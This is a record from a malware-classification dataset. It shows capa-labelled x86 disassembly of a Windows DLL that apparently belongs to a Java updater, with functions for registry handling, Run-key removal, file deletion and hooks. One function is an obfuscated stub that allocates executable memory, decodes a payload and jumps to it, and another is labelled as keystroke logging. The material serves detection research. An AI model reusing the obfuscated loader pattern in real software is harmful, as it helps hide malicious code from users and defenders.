joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10028430
Capabilities:
Get common file path
Parse url

Disassembly:
sub esp, 0xc48
mov eax, dword [0x1004f860]
xor eax, esp
mov dword [esp + 0xc44], eax
push ebx
mov ebx, dword [esp + 0xc54]
push esi
mov esi, dword [esp + 0xc54]
push edi
xor eax, eax
push 0x3c
push eax
lea ecx, [esp + 0x14]
push ecx
mov word [esp + 0x25c], ax
call sub.MSVCR100.dll_memset
lea edx, [esp + 0x45c]
mov eax, esi
mov dword [esp + 0x44], edx
add esp, 0xc
mov dword [esp + 0xc], 0x3c
mov dword [esp + 0x3c], 0x400
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10028490
lea ecx, [esp + 0xc]
push ecx
sub eax, edx
push 0
sar eax, 1
push eax
push esi
call dword [sym.imp.wininet.dll_InternetCrackUrlW]
test eax, eax
je 0x100284e8
lea edx, [esp + 0x250]
push edx
lea eax, [esp + 0x4c]
push eax
push 0
lea ecx, [esp + 0x45c]
push 0
push ecx
call dword [sym.imp.MSVCR100.dll__wsplitpath]
lea edx, [esp + 0x5c]
push 0x10044694
push edx
call dword [sym.imp.MSVCR100.dll_wcsstr]
add esp, 0x1c
test eax, eax
je 0x10028532
xor edi, edi
mov eax, esi
cmp word [esi], di
je 0x1002851e
mov esi, dword [sym.imp.USER32.dll_CharNextW]
movzx ecx, word [eax]
cmp ecx, 0x20
je 0x10028504
cmp ecx, 9
jne 0x10028509
push eax
call esi
jmp 0x100284f7
mov ecx, edi
shl ecx, 5
sub ecx, edi
movzx edi, word [eax]
add eax, 2
add edi, ecx
cmp word [eax], 0
jne 0x100284f7
push edi
lea eax, [esp + 0x4c]
push str.jupdate__x
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push ebx
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathW]
lea eax, [esp + 0x48]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10028544
sub eax, edx
lea edi, [ebx - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10028554
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x250]
rep movsb byte es:[edi], byte [esi]
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10028580
sub eax, edx
lea edi, [ebx - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10028590
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0xc50]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1003779c
add esp, 0xc48
ret
Function at 0x100288a0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x90
mov eax, dword [0x1004f860]
xor eax, esp
mov dword [esp + 0x8c], eax
push esi
xor eax, eax
push 0x7e
push eax
lea ecx, [esp + 0x1a]
push ecx
xor esi, esi
mov word [esp + 0x1c], ax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [esp + 4]
push edx
push 0x20219
push esi
push str.SOFTWAREJavaSoftAuto_Update
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10028996
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 8]
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x14]
push edx
push esi
push str.AUVersion
push eax
mov dword [esp + 0x20], 0x40
mov dword [esp + 0x24], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10028966
push 0x40
lea ecx, [esp + 0x14]
push 0x1004474c
push ecx
call dword [sym.imp.MSVCR100.dll_wcsncmp]
add esp, 0xc
test eax, eax
js 0x10028973
mov edx, dword [esp + 4]
push edx
mov esi, 1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov ecx, dword [esp + 0x8c]
xor ecx, esp
call fcn.1003779c
add esp, 0x90
ret
push str.GetRegAUVersion_failed_to_query_key.
call fcn.10027a40
add esp, 4
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov ecx, dword [esp + 0x8c]
xor ecx, esp
call fcn.1003779c
add esp, 0x90
ret
push str.RegOpenKeyEx_failed.
call fcn.10027a40
mov ecx, dword [esp + 0x94]
add esp, 4
mov eax, esi
pop esi
xor ecx, esp
call fcn.1003779c
add esp, 0x90
ret

Function at 0x100289e0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x810
mov eax, dword [0x1004f860]
xor eax, esp
mov dword [esp + 0x80c], eax
mov eax, dword [esp + 0x814]
push ebx
mov ebx, dword [esp + 0x824]
push ebp
xor ebp, ebp
push esi
mov esi, dword [esp + 0x828]
push edi
mov edi, dword [esp + 0x828]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], ebp
cmp eax, ebp
jne 0x10028a50
lea eax, [esp + 0x10]
push eax
push 0x20219
push ebp
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10028a4c
mov ebp, 1
jmp 0x10028a54
xor eax, eax
jmp 0x10028acc
mov dword [esp + 0x10], eax
push ebx
push esi
lea ecx, [esp + 0x20]
push ecx
push 0
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
test esi, esi
jne 0x10028a75
mov dword [esp + 0x14], 1
jmp 0x10028ab9
cmp esi, 2
je 0x10028ab9
call dword [sym.imp.kernel32.dll_GetLastError]
xor edx, edx
push 0x7fe
mov ebx, eax
push edx
lea eax, [esp + 0x26]
push eax
mov word [esp + 0x28], dx
call sub.MSVCR100.dll_memset
push ebx
push esi
push edi
lea ecx, [esp + 0x34]
push str.RegQueryValueEx__s_:_Error:_d__ErrorCode:_d_n
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
lea edx, [esp + 0x3c]
push edx
call fcn.10027a40
add esp, 0x24
test ebp, ebp
je 0x10028ac8
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x81c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1003779c
add esp, 0x810
ret
Function at 0x10028af0
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x1010
call fcn.100378e0
mov eax, dword [0x1004f860]
xor eax, esp
mov dword [esp + 0x100c], eax
push ebx
mov ebx, dword [esp + 0x1020]
push ebp
mov ebp, dword [esp + 0x1028]
push esi
mov esi, dword [esp + 0x1020]
push edi
mov edi, dword [esp + 0x1028]
xor eax, eax
push 0x7fe
push eax
lea edx, [esp + 0x26]
xor ecx, ecx
push edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov word [esp + 0x28], cx
call sub.MSVCR100.dll_memset
add esp, 0xc
test esi, esi
jne 0x10028ba6
lea eax, [esp + 0x10]
push eax
push 0x20019
push esi
push str.SoftwareJreMetrics
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
test esi, esi
jne 0x10028b7b
mov dword [esp + 0x14], 1
jmp 0x10028baa
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push esi
push edi
lea ecx, [esp + 0x28]
push str.GetJreMetrics_____RegOpenKeyEx__s_:_Error:_d__ErrorCode:_d_n
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
lea edx, [esp + 0x30]
push edx
call fcn.10027a40
add esp, 0x18
jmp 0x10028c27
mov dword [esp + 0x10], esi
mov ecx, dword [esp + 0x10]
push ebp
push ebx
lea eax, [esp + 0x20]
push eax
push 0
push edi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
test esi, esi
je 0x10028c15
cmp esi, 2
je 0x10028c15
call dword [sym.imp.kernel32.dll_GetLastError]
xor edx, edx
push 0x7fe
mov ebx, eax
push edx
lea eax, [esp + 0x826]
push eax
mov word [esp + 0x828], dx
call sub.MSVCR100.dll_memset
push ebx
push esi
push edi
lea ecx, [esp + 0x834]
push str.GetJreMetrics_____RegQueryValueEx__s_:_Error:_d__ErrorCode:_d_n
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
lea edx, [esp + 0x83c]
push edx
call fcn.10027a40
add esp, 0x24
cmp dword [esp + 0x14], 0
je 0x10028c27
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x101c]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1003779c
add esp, 0x1010
ret
Function at 0x10028e90
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push ebp
push esi
xor esi, esi
xor ebp, ebp
push edi
mov edi, dword [esp + 0x20]
mov dword [esp + 0xc], esi
test edx, edx
jne 0x10028f13
test edi, edi
jne 0x10028ec9
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0xc]
push eax
push 0x2021f
push edi
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
jmp 0x10028f04
call fcn.100288a0
lea edx, [esp + 0x14]
push edx
test eax, eax
lea eax, [esp + 0x10]
push eax
push 0
push 0x2021f
push 0
push 0
mov dword [esp + 0x2c], esi
push 0
je 0x10028ef4
mov ecx, dword [esp + 0x34]
push ecx
jmp 0x10028ef9
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edx, dword [esp + 0xc]
test edx, edx
je 0x10028f6d
mov ebp, 1
jmp 0x10028f17
mov dword [esp + 0xc], edx
test edx, edx
je 0x10028f62
test edi, edi
jne 0x10028f2d
mov ecx, dword [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
jmp 0x10028f57
mov eax, edi
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10028f32
mov ecx, dword [esp + 0x1c]
sub eax, esi
sar eax, 1
lea eax, [eax + eax + 2]
push eax
push edi
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [esp + 0xc]
mov esi, eax
neg esi
sbb esi, esi
inc esi
test ebp, ebp
je 0x10028f6d
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebp
pop ecx
ret

Function at 0x10028f80
Capabilities:
Set registry value

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push esi
xor esi, esi
cmp eax, esi
je 0x10028fae
mov edx, dword [esp + 0x18]
push 4
lea ecx, [esp + 0x20]
push ecx
push 4
push esi
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
neg eax
sbb eax, eax
inc eax
pop esi
add esp, 8
ret
call fcn.100288a0
lea ecx, [esp + 0x10]
test eax, eax
je 0x10028fd5
mov edx, dword [esp + 0x14]
lea eax, [esp + 4]
push eax
push ecx
push esi
push 0x2021f
push esi
push esi
push esi
mov dword [esp + 0x20], esi
push edx
jmp 0x10028fed
lea eax, [esp + 8]
push eax
push ecx
push esi
push 0x2021f
push esi
push esi
push esi
mov dword [esp + 0x24], esi
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
neg eax
sbb eax, eax
inc eax
cmp eax, esi
je 0x10029032
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
push 4
lea edx, [esp + 0x20]
push edx
push 4
push esi
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [esp + 0x10]
neg eax
push edx
sbb esi, esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esi + 1]
pop esi
add esp, 8
ret
mov eax, esi
pop esi
add esp, 8
ret
Function at 0x10029040
Capabilities:
Delete registry value

Disassembly:
sub esp, 8
mov eax, dword [esp + 0xc]
push esi
xor esi, esi
mov dword [esp + 0x10], eax
cmp eax, esi
je 0x10029068
mov ecx, dword [esp + 0x18]
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
neg eax
sbb eax, eax
inc eax
pop esi
add esp, 8
ret
call fcn.100288a0
test eax, eax
lea eax, [esp + 0x10]
je 0x1002908f
mov ecx, dword [esp + 0x14]
lea edx, [esp + 4]
push edx
push eax
push esi
push 0x2021f
push esi
push esi
push esi
mov dword [esp + 0x20], esi
push ecx
jmp 0x100290a7
lea edx, [esp + 8]
push edx
push eax
push esi
push 0x2021f
push esi
push esi
push esi
mov dword [esp + 0x24], esi
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
neg eax
sbb eax, eax
inc eax
cmp eax, esi
je 0x100290de
mov ecx, dword [esp + 0x18]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [esp + 0x10]
neg eax
push edx
sbb esi, esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esi + 1]
pop esi
add esp, 8
ret
mov eax, esi
pop esi
add esp, 8
ret
Function at 0x10029880
Capabilities:
Delete registry value
Set registry value

Disassembly:
sub esp, 0x20
push ebx
xor ebx, ebx
push 0x20019
push str.Software
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.10003190
test eax, eax
je 0x100298d0
mov eax, dword [esp + 0xc]
cmp eax, ebx
je 0x100298c9
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop ebx
add esp, 0x20
ret
push ebp
mov ebp, dword [esp + 0x10]
push esi
push 0x2001f
push str.JavaSoft
push ebp
lea ecx, [esp + 0x2c]
call fcn.10003190
test eax, eax
je 0x1002990f
mov eax, dword [esp + 0x20]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp eax, ebx
je 0x100298ff
push eax
call esi
cmp ebp, ebx
je 0x10029906
push ebp
call esi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x20
ret
mov esi, dword [esp + 0x34]
cmp esi, ebx
jne 0x10029969
mov eax, dword [esp + 0x30]
mov esi, dword [esp + 0x20]
push eax
push esi
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push ebx
push ebx
push ebx
push ebx
lea ecx, [esp + 0x20]
push ecx
push ebx
push ebx
lea edx, [esp + 0x28]
push edx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x10029988
cmp dword [esp + 0xc], ebx
jne 0x10029988
cmp dword [esp + 0x10], ebx
jne 0x10029988
push str.JavaSoft
lea ecx, [esp + 0x18]
call fcn.100030e0
jmp 0x10029988
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
mov ecx, dword [esp + 0x30]
inc eax
add eax, eax
push eax
push esi
mov esi, dword [esp + 0x28]
push 1
push ebx
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, ebx
je 0x10029996
push esi
call edi
cmp ebp, ebx
je 0x1002999d
push ebp
call edi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x20
ret
Function at 0x1002a1c0
Capabilities:
Delete registry value
Set registry value

Disassembly:
call fcn.100288a0
test eax, eax
je 0x1002a1ce
jmp fcn.10028e90
mov dword [esp + 8], str.SOFTWAREJavaSoftJava_UpdatePolicy
jmp fcn.10028e90

Function at 0x1002a1e0
Capabilities:
Set registry value

Disassembly:
call fcn.100288a0
test eax, eax
je 0x1002a1ee
jmp fcn.10028f80
mov dword [esp + 8], str.SOFTWAREJavaSoftJava_UpdatePolicy
jmp fcn.10028f80
Function at 0x1002a900
Capabilities:
Delete file
Delete registry value
Query or enumerate registry key

Disassembly:
sub esp, 0x80c
mov eax, dword [0x1004f860]
xor eax, esp
mov dword [esp + 0x808], eax
push ebp
push esi
push edi
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push ecx
push str.LocalFileName
xor esi, esi
push esi
mov dword [esp + 0x1c], 0x400
call fcn.100289e0
mov edi, dword [sym.imp.kernel32.dll_DeleteFileW]
add esp, 0x10
test eax, eax
je 0x1002a950
cmp dword [esp + 0xc], esi
je 0x1002a950
lea edx, [esp + 0x14]
push edx
call edi
lea eax, [esp + 0x14]
push eax
call fcn.1002a0f0
add esp, 4
test eax, eax
je 0x1002a978
lea ecx, [esp + 0x14]
push ecx
mov edx, ecx
push edx
call fcn.10028430
add esp, 8
lea eax, [esp + 0x14]
push eax
call edi
call fcn.10027130
call fcn.100288a0
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1002a9c2
lea ecx, [esp + 0x10]
push ecx
push 0x2021f
push esi
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x24], esi
call edi
mov eax, dword [esp + 0x10]
cmp eax, esi
je 0x1002a9fc
push str.PreDownldStatus
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [esp + 0x10]
push edx
jmp 0x1002a9f6
lea eax, [esp + 0xc]
push eax
push 0x2021f
push esi
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x20], esi
call edi
mov eax, dword [esp + 0xc]
cmp eax, esi
je 0x1002a9fc
push str.PreDownldStatus
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x400
lea edx, [esp + 0x18]
push edx
push esi
push SysReAllocStringLen
xor ebp, ebp
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
test eax, eax
jne 0x1002aaa8
push ebx
lea ecx, [ecx]
lea eax, [esp + 0x10]
push eax
push 0x20019
push esi
lea ecx, [esp + 0x24]
push ecx
push SysReAllocStringLen
inc ebp
mov dword [esp + 0x24], esi
call edi
cmp eax, esi
jne 0x1002aa89
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push 0x2021f
push esi
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push eax
mov ebx, eax
mov dword [esp + 0x28], esi
call edi
cmp eax, esi
jne 0x1002aa7e
mov esi, dword [esp + 0x14]
push str.VersionXmlURL
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test esi, esi
je 0x1002aa7c
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor esi, esi
cmp ebx, esi
je 0x1002aa89
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x400
lea eax, [esp + 0x1c]
push eax
push ebp
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
test eax, eax
je 0x1002aa20
pop ebx
mov ecx, dword [esp + 0x814]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.1003779c
add esp, 0x80c
ret
Function at 0x1002aac0
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ecx
push esi
push str.SunJavaUpdateShutdownEvent
push 0
push 0x1f0003
call dword [sym.imp.kernel32.dll_OpenEventW]
mov esi, eax
test esi, esi
je 0x1002aae8
push esi
call dword [sym.imp.kernel32.dll_SetEvent]
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
cmp dword [esp + 0xc], 0
pop esi
je 0x1002ab3b
call fcn.1002a900
call fcn.10027280
call fcn.10026eb0
test eax, eax
je 0x1002ab3b
lea eax, [esp]
push eax
push 0x2021f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1002ab3b
mov ecx, dword [esp]
push str.SunJavaUpdateSched
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ecx
ret
Function at 0x10030fd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10030fdf
pop dword [ebp - 0x1c]
mov eax, 0x10030fdf
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xb59feb25
add dword [ebp - 0x2c], 0x98b25a26
mov dword [ebp - 0x28], 0xb21fce1
add dword [ebp - 0x28], 0x27114f64
mov dword [ebp - 0x24], 0xbd1ac9dd
sub dword [ebp - 0x24], 0x70ce85af
mov dword [ebp - 0x20], 0x14b43b96
add dword [ebp - 0x20], 0xeb4bc46a
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x204adbcf
add eax, 0xefb8c4ad
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xd96d30ee
sub dword [ebp - 0x2c], 0x64fac798
mov dword [ebp - 0x28], 0xf374a6ae
add dword [ebp - 0x28], 0x4df7bac7
mov dword [ebp - 0x24], 0xab844270
add dword [ebp - 0x24], 0xb7eb29fc
mov dword [ebp - 0x20], 0x17db2437
add dword [ebp - 0x20], 0xe824dbc9
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x1a5e75a1
sub eax, 0xa5ad541
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3dae6
push 0
call eax
mov ecx, 0x27066149
add ecx, 0xd8f9f8f1
mov esi, eax
mov edi, 0xa60e6744
sub edi, 0x96077144
add edi, dword [ebp - 0x1c]
mov ebx, 0x516ad0ed
add ebx, 0x74197b2d
xor dword [ebp - 0xc], 0xcb0e600e
mov edx, dword [edi]
mov dword [ebp - 0xc], 0x22019c4d
sub edx, ebx
sub dword [ebp - 8], esi
mov dword [esi], edx
sub dword [ebp - 4], 0x6ffc0295
add esi, 4
add edi, 0x21adc109
add edi, 0xde523efb
loop 0x100310fc
add eax, 0x15bbb
xor ebx, ebx
add ebx, eax
add eax, 0x5ff83a35
sub eax, 0x5ff83a30
mov ecx, 0x1404ba4e
add ecx, 0xfbfb45b2
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x10036740
Capabilities:
Log keystrokes via application hook

Disassembly:
mov eax, 0x202c
call fcn.100378e0
mov eax, dword [0x1004f860]
xor eax, esp
mov dword [esp + 0x2028], eax
push ebx
push ebp
xor eax, eax
push esi
mov esi, dword [esp + 0x203c]
push edi
mov edi, dword [sym.imp.kernel32.dll_GetModuleHandleW]
push 0x800
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
lea eax, [esp + 0x3c]
push eax
push 0x82
xor ebp, ebp
push 0x1003bb30
mov dword [esp + 0x20], ebp
call edi
mov ebx, dword [sym.imp.USER32.dll_LoadStringW]
push eax
call ebx
push 0x800
lea ecx, [esp + 0x103c]
push ecx
push 0x8b
push 0x1003bb30
call edi
push eax
call ebx
lea edx, [esp + 0x38]
lea eax, [esp + 0x1038]
push 0x1003bb30
mov dword [esp + 0x14], 0x28
mov dword [esp + 0x24], edx
mov dword [esp + 0x20], eax
mov dword [esp + 0x28], 0x12083
mov dword [esp + 0x2c], 0x3ec
call edi
mov dword [esp + 0x18], eax
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
push eax
push ebp
push 0x100366e0
push 4
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
lea ecx, [esp + 0x10]
push ecx
mov dword [0x1004fde4], eax
mov dword [0x1004fde8], ebp
call fcn.10030fd0
mov edx, dword [0x1004fde4]
push edx
mov edi, eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov dword [esi], 2
mov dword [esi + 4], ebp
mov dword [esi + 0x18], ebp
cmp edi, 6
jne 0x10036858
mov dword [esi], 1
jmp 0x10036865
xor eax, eax
cmp edi, 2
sete al
add eax, 2
mov dword [esi], eax
mov eax, esi
cmp dword [0x1004fde8], ebp
je 0x10036876
mov dword [esi + 4], 1
mov ecx, dword [esp + 0x2038]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1003779c
add esp, 0x202c
ret 4
Function at 0x10036c40
Capabilities:
Create directory
Query environment variable

Disassembly:
push esi
push 0x21a
call dword [sym.imp.MSVCR100.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
jne 0x10036c57
pop esi
ret
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
push edi
push 0x21a
push esi
push ebx
call ebp
mov edi, eax
test edi, edi
jne 0x10036c92
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xcb
jne 0x10036cc9
push esi
call dword [sym.imp.MSVCR100.dll_free]
add esp, 4
lea eax, [edi + 1]
pop edi
pop ebp
pop ebx
pop esi
ret
cmp edi, 0x104
jbe 0x10036cc9
lea eax, [edi + edi + 0x12]
push eax
push esi
call dword [sym.imp.MSVCR100.dll_realloc]
mov esi, eax
add esp, 8
test esi, esi
je 0x10036cc2
push edi
push esi
push ebx
call ebp
test eax, eax
jne 0x10036cc9
push esi
call dword [sym.imp.MSVCR100.dll_free]
add esp, 4
pop edi
pop ebp
pop ebx
xor eax, eax
pop esi
ret
lea eax, [esi - 2]
lea esp, [esp]
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x10036cd0
mov ecx, dword [str.JavaLow]
mov dword [eax], ecx
mov edx, dword [0x10045f1c]
mov dword [eax + 4], edx
mov ecx, dword [0x10045f20]
mov dword [eax + 8], ecx
mov edx, dword [0x10045f24]
mov dword [eax + 0xc], edx
mov cx, word [0x10045f28]
push 0
push esi
mov word [eax + 0x10], cx
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
push esi
call fcn.10036bc0
push esi
call dword [sym.imp.MSVCR100.dll_free]
add esp, 8
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
ret

Function at 0x10036d40
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 0xc]
push 0
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
ret 0x10